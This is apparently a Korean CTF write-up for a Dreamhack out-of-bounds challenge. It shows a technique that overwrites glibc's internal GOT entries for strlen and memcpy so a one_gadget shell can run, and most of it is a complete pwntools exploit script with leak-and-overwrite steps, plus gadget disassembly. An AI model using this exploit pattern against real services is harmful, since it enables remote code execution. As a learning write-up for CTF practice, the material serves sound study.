one_gadget requirement fulfill - glibc got overwrite
드림핵 풀이중 아름다운것이 있어서 서술한다. ( keyme 님 )
일단 핵심개념은 glibc got overwrite를 사용해서 one_gadget의 조건을 만족시키는 방법이다.
주로 메인 바이너리의 got overwrite가 막혔을때 사용할 수 있을 것 같다.
C
from pwn import *
import warnings
warnings.filterwarnings('ignore')
#context.log_level = 'DEBUG'
IP = "host3.dreamhack.games"
PORT = 9634
p = remote(IP, PORT)
#p = process('./oob', env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF('./libc.so.6')
def read(offset):
global stdout
p.sendlineafter('> ', str(1))
p.sendlineafter('offset: ', str(offset))
def write(offset, data):
p.sendlineafter('> ', str(2))
p.sendlineafter('offset: ', str(offset))
p.sendlineafter('value: ', str(data))
# Leak libc
stdout = b''
read(0x10)
stdout += p.recv(1)
read(0x10+0x1)
stdout += p.recv(1)
read(0x10+0x2)
stdout += p.recv(1)
read(0x10+0x3)
stdout += p.recv(1)
read(0x10+0x4)
stdout += p.recv(1)
read(0x10+0x5)
stdout += p.recv(1)
read(0x10+0x6)
stdout += p.recv(1)
read(0x10+0x7)
stdout += p.recv(1)
stdout = u64(stdout)
log.info('stdout: '+hex(stdout))
libc_base = stdout - 0x21a780
log.info('libc_base: '+hex(libc_base))
strlen = libc_base + 0x219098
log.info('strlen: '+hex(strlen))
prev_memcpy = libc_base + 0x2CDC4
log.info('prev_memcpy: '+hex(prev_memcpy))
memcpy = libc_base + 0x219160
log.info('memcpy: '+hex(memcpy))
oneshot = libc_base + 0xebcf8
log.info('oneshot: '+hex(oneshot))
# Leak oob
oob = b''
read(-0x8)
oob += p.recv(1)
read(-0x8+0x1)
oob += p.recv(1)
read(-0x8+0x2)
oob += p.recv(1)
read(-0x8+0x3)
oob += p.recv(1)
read(-0x8+0x4)
oob += p.recv(1)
read(-0x8+0x5)
oob += p.recv(1)
read(-0x8+0x6)
oob += p.recv(1)
read(-0x8+0x7)
oob += p.recv(1)
oob = u64(oob)+0x8
log.info('oob: '+hex(oob))
'''
0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
## strlen got in libc -> "rsi == null, rdx == null" and "call memcpy" gadget in libc -> memcpy got in libc -> oneshot
write(memcpy-oob, oneshot)
write(strlen-oob, prev_memcpy)
p.interactive()공격은 다음과 같으며, puts 내부에서 strlen을 자체적으로 호출하기에 strlen got를 overwrite 함으로써 control flow를 조작하는 것이 핵심이다. 즉, puts같은 함수가 일반적으로 메인 바이너리에 있기에 특별한 추가행동 없이도 control flow를 뺏어 올 수 있다.
공격에 사용한 glibc 가젯은
pwndbg> x/10i 0x2CDC4 0x2cdc4: lea 0x10(%r8),%rdi 0x2cdc8: mov %rbx,%rsi 0x2cdcb: mov %r8,0x8(%rsp) 0x2cdd0: sub %rbx,%rbp 0x2cdd3: call 0x28620 <
ABS
+0xa9c90@plt> glibc의 iconv/gconv_conf.c 파일의
new_alias->fromname = memcpy ((char *) new_alias + sizeof (struct gconv_alias), from, wp - from);
부분